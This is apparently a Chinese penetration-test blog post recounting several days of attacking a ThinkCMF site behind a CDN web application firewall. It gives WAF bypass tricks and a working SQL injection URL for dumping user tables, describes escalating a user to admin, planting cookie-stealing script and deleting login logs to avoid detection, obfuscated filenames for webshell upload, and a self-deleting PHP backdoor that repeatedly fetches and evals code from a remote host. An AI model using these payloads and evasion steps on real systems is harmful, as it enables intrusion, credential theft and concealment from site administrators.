項(xiàng)目實(shí)戰(zhàn) | 與某WAF斗智斗勇的每一天

ps:師傅們閱讀注意,由于做項(xiàng)目的時(shí)候沒有花時(shí)間截圖,所以文章有些許表情包。項(xiàng)目實(shí)戰(zhàn)圖片寥寥無幾,可能食之無味,棄之可惜。希望師傅們多多諒解,有什么意見可以在公眾號后臺留言,勿噴。算是分享一個(gè)思路,并沒有拉低公眾號文章質(zhì)量的意思。
0x00 前言
這里分享一個(gè)項(xiàng)目,目標(biāo)系統(tǒng)漏洞百出但有一個(gè)極其nb的waf。我和它斗智斗勇每天進(jìn)展一點(diǎn)點(diǎn),最終用一周時(shí)間基本搞定。

一直認(rèn)為waf這種東西只能防止無目的的攻擊,在針對性的攻擊面前,則只能拖延一點(diǎn)時(shí)間而已,并不能真正解決系統(tǒng)的安全問題。
現(xiàn)在waf廣泛使用的【基于特征】的檢測方式有千奇百怪的攻擊手法可以繞過,而新型的【基于行為】的檢測方式國內(nèi)還不成熟。
這里分享的案例是國內(nèi)的一個(gè)【基于特征+行為】的waf,項(xiàng)目沒有截圖,只能委屈大家看表情包腦補(bǔ)一下……
0x01 小試牛刀(第1天)
首先拿到手是一個(gè)app,放入模擬器抓包提取app核心域名+訪問路徑,注冊賬號在網(wǎng)頁上登陸進(jìn)行測試。?
技術(shù)情況收集如下:目標(biāo)系統(tǒng)框架thinkcmf,修復(fù)了日志泄露漏洞,中間件nginx,操作系統(tǒng)linux,有一個(gè)不知哪個(gè)廠商的cdn并附帶waf。
隨意測測各個(gè)功能和頁面,thinkcmf這種大框架的安全性還是可以的,但是架不住沒有安全意識的開發(fā)自己亂寫代碼。
?很快我發(fā)現(xiàn)url中的一個(gè)【偽靜態(tài)參數(shù)單引號報(bào)錯(cuò)】,目標(biāo)開啟了tp的sql調(diào)試模式,報(bào)錯(cuò)內(nèi)容非常詳細(xì):有sql語句,配置文件里所有內(nèi)容含鹽,當(dāng)前庫名表名,當(dāng)前用戶在用戶表中的所有字段和數(shù)據(jù)等。
既然已經(jīng)有了數(shù)據(jù)庫賬戶和密碼(配置文件中),首先看能否繞過cdn找到真實(shí)ip直接連接,嘗試很多方法未果,報(bào)錯(cuò)頁面中其實(shí)也有ip相關(guān)信息,但是只有cdn的ip和一個(gè)內(nèi)網(wǎng)ip。
?

放棄幻想開始手工注入,首先用一般的/*!50000*/混淆payload,當(dāng)場被攔,后面進(jìn)行模糊測試,觀察了這個(gè)waf檢測的特征與繞過方法如下:
?
(0)大小寫混用、url、16進(jìn)制編碼無用
?
(1)過濾unionselect?
union?distinct select繞過
?
(2)過濾select空格?
select后面的參數(shù)用引號包裹可以不加空格
?
(3)過濾空格from
和from挨著的那個(gè)參數(shù)用科學(xué)計(jì)數(shù)法可以不加空格
?
(4)過濾from空格
from{x 表名}語法繞過
?
(5)過濾information_schema
沒能繞過,導(dǎo)致查不到表名列名,但還好用戶表的表名和列名都在報(bào)錯(cuò)頁面爆出來了不用查。
?
(6)過濾注釋符/* - #?
調(diào)整payload在適當(dāng)?shù)奈恢眉永ㄌ?/strong>可以不用注釋
?
最終注出用戶表數(shù)據(jù)的payload如下(聯(lián)合查詢,四列,2、3列回顯):?
https://www.example.com/a/b/c/id/1)?uNiondistinct?(select'1',username,password,3e0from{x?user}order?by?1?limit?0,1.0然后……下班時(shí)間到了。
【今日成果】:app基本信息收集,數(shù)據(jù)庫敏感信息獲取,sql注入繞過waf查詢用戶表。
?

0x02 暗度陳倉(第2天)
利用sql注入查詢其他用戶數(shù)據(jù),cmf框架的用戶結(jié)構(gòu)不像一般的框架那樣分成普通用戶表和管理用戶表,它的管理員和普通用戶都在同一個(gè)表里。
表中的用戶用一個(gè)字段去區(qū)分不同角色,這樣雖然獲取不到表名,但我只查用戶表就可以獲取管理員信息。查詢之后發(fā)現(xiàn)目標(biāo)系統(tǒng)只有一個(gè)管理員(角色字段值為1,其余用戶都是2),密碼是hash加鹽加密的,thinkcmf的加密方式cmd5里沒有,只能自己跑彩虹表。
跑了400萬個(gè)弱口令和社工密碼之后沒解出來……其他比較靠前的測試用戶倒是解出一大堆。

??
【再看B站】,有cdn,ecshop,注冊賬戶后登陸,開始測試:前臺sql注入、頭像上傳、留言板xss、垂直越權(quán)等等……,都沒有。

?
?
但是去訪問發(fā)現(xiàn)該ip僅開了80端口,空白頁面,修改hosts文件也沒辦法解析。真實(shí)ip還是沒有找到,真奇怪。
容我先下個(gè)班慢慢想想怎么回事……
【今日成果】:用戶信息收集,資產(chǎn)信息收集,旁站sql查詢功能繞過waf操作數(shù)據(jù)庫。

0x03 登堂入室(第3天)
隨意翻翻數(shù)據(jù)庫,在系統(tǒng)配置表里翻到了一串神秘的字符串,注釋寫著后臺加密,拿去拼到url后面試一試,竟然就跳到了后臺登陸界面。
后面才知道目標(biāo)有個(gè)【后臺地址加密】功能,不過應(yīng)該不是cmf框架原版的后臺地址加密(/?g=admin&upw=加密碼),可能是二次開發(fā)魔改的,所以直接拼到url后面就行了。
已知后臺,可以改管理員密碼去登陸,但是我看了一下數(shù)據(jù)庫登陸日志表,發(fā)現(xiàn)目標(biāo)的唯一管理用戶其實(shí)很多人在用,登陸頻率相當(dāng)高。直接改密碼動(dòng)作太大了。需要想另外的方法登入。
我首先嘗試了一下登陸日志xss盲打,在數(shù)據(jù)庫里把登陸日志的一條改為偷cookie的js。然后就在xss平臺蹲守,大概一小時(shí)之后,xss平臺沒有任何記錄,反而數(shù)據(jù)庫中看到登陸日志全被管理員清掉了……弄巧成拙。
轉(zhuǎn)變思路,把一個(gè)已解出密碼的普通用戶提權(quán)為管理員(在數(shù)據(jù)庫里改一個(gè)字段),然后提前準(zhǔn)備好清除單條登陸日志的sql句,這邊后臺一登陸,旁站那邊立刻運(yùn)行,最終依靠手速達(dá)到悄無聲息登陸后臺的效果。
繼續(xù)硬剛,一番測試之后,發(fā)現(xiàn)waf基于兩方面進(jìn)行攔截,一檢測文件后綴名,匹配到php等敏感后綴就不予放行(php2,php3等都試過了)。二檢測文件內(nèi)容,匹配到就不予放行(大小寫混淆也試過了)。
了解了檢測特征,開始一一嘗試?yán)@過,首先是后綴名,利用引號分號和換行進(jìn)行混淆繞過:filename==="shell';.php"??
文件內(nèi)容,利用php短標(biāo)簽?>進(jìn)行繞過。至此可以上傳webshell,先傳了個(gè)年久失修的原版冰蝎(非3.0),連接時(shí)被攔截,是基于流量特征的檢測。當(dāng)時(shí)很懶沒有去改冰蝎,直接傳了個(gè)大馬,可用。
然后我開始翻文件,當(dāng)時(shí)沒想到這個(gè)waf還藏了一手,隨意翻了大概半小時(shí),突然熟悉的waf頁面又出來了,大馬被殺。而且我用大馬藏的其他webshell也都不能訪問了,殺的是一干二凈。
(1)這個(gè)waf確實(shí)有自學(xué)習(xí)的功能,雖然學(xué)的慢了點(diǎn)(那個(gè)功能我用了接近一天)。
(2)waf狠起來連自己人都?xì)ⅰ?/span>
沒了那個(gè)功能,就不能清理登陸日志了,登陸后臺會有被發(fā)現(xiàn)的危險(xiǎn)。正好此時(shí)也到了下班時(shí)間……
0x04 返璞歸真(第4天)
本來打算代碼審計(jì)一波,結(jié)果因?yàn)橐馔忭?xiàng)目結(jié)束了……
0x05 思考
因?yàn)轫?xiàng)目并沒有完整的做完,所以我和waf之間也沒分出個(gè)勝負(fù)。但后面想一想,針對waf這種基于行為檢測方式和自學(xué)習(xí)功能,應(yīng)該如何去繞過呢,這里有我想出的三個(gè)方法,拋磚引玉,大家也可以在留言區(qū)討論一下。
(1)利用代理池隱蔽惡意流量?!痉治觥浚?/strong>同樣是系統(tǒng)自帶的頁面,后臺的sql查詢功能在我用了一天之后就被殺了,但是前臺的sql注入我用了四天也沒見被攔。猜測waf可能有一個(gè)模型,檢測正常流量和惡意流量的比例。【操作】:我上傳大馬后,掛一個(gè)代理池,構(gòu)造大量的正常訪問流量,把惡意流量混入其中,讓waf以為這是一個(gè)正常頁面,這樣可以降低被殺的概率。
(2)加密返回報(bào)文。【分析】:waf是cdn附帶的,沒有部署在目標(biāo)服務(wù)器上,理論上它不可能知道我到底運(yùn)行了什么命令,所謂基于行為其實(shí)應(yīng)該是基于返回包的內(nèi)容的特征匹配。【操作】:那么我只要改一改冰蝎就好了,去掉流量特征,返回包全加密,waf就不知道我到底做了什么。
(3)php無文件木馬?!痉治觥浚?/strong>利用php的無文件木馬,上傳一個(gè)運(yùn)行后會刪除自己的腳本,它會駐留在內(nèi)存中運(yùn)行,腳本內(nèi)容是一個(gè)死循環(huán),隔一段時(shí)間運(yùn)行一下遠(yuǎn)程vps上的代碼,這種沒有文件落地的webshell想必waf也沒辦法去攔截。
【操作】:
unlink($_SERVER['SCRIPT_FILENAME']);ignore_user_abort(true);set_time_limit(0);$remote_file ='http://www.evilsite.com/eval.txt';while($code =file_get_contents($remote_file)){@eval($code);sleep(5);};?>
?
0x06 后記

?
END.
歡迎轉(zhuǎn)發(fā)~
歡迎關(guān)注~
歡迎點(diǎn)贊~
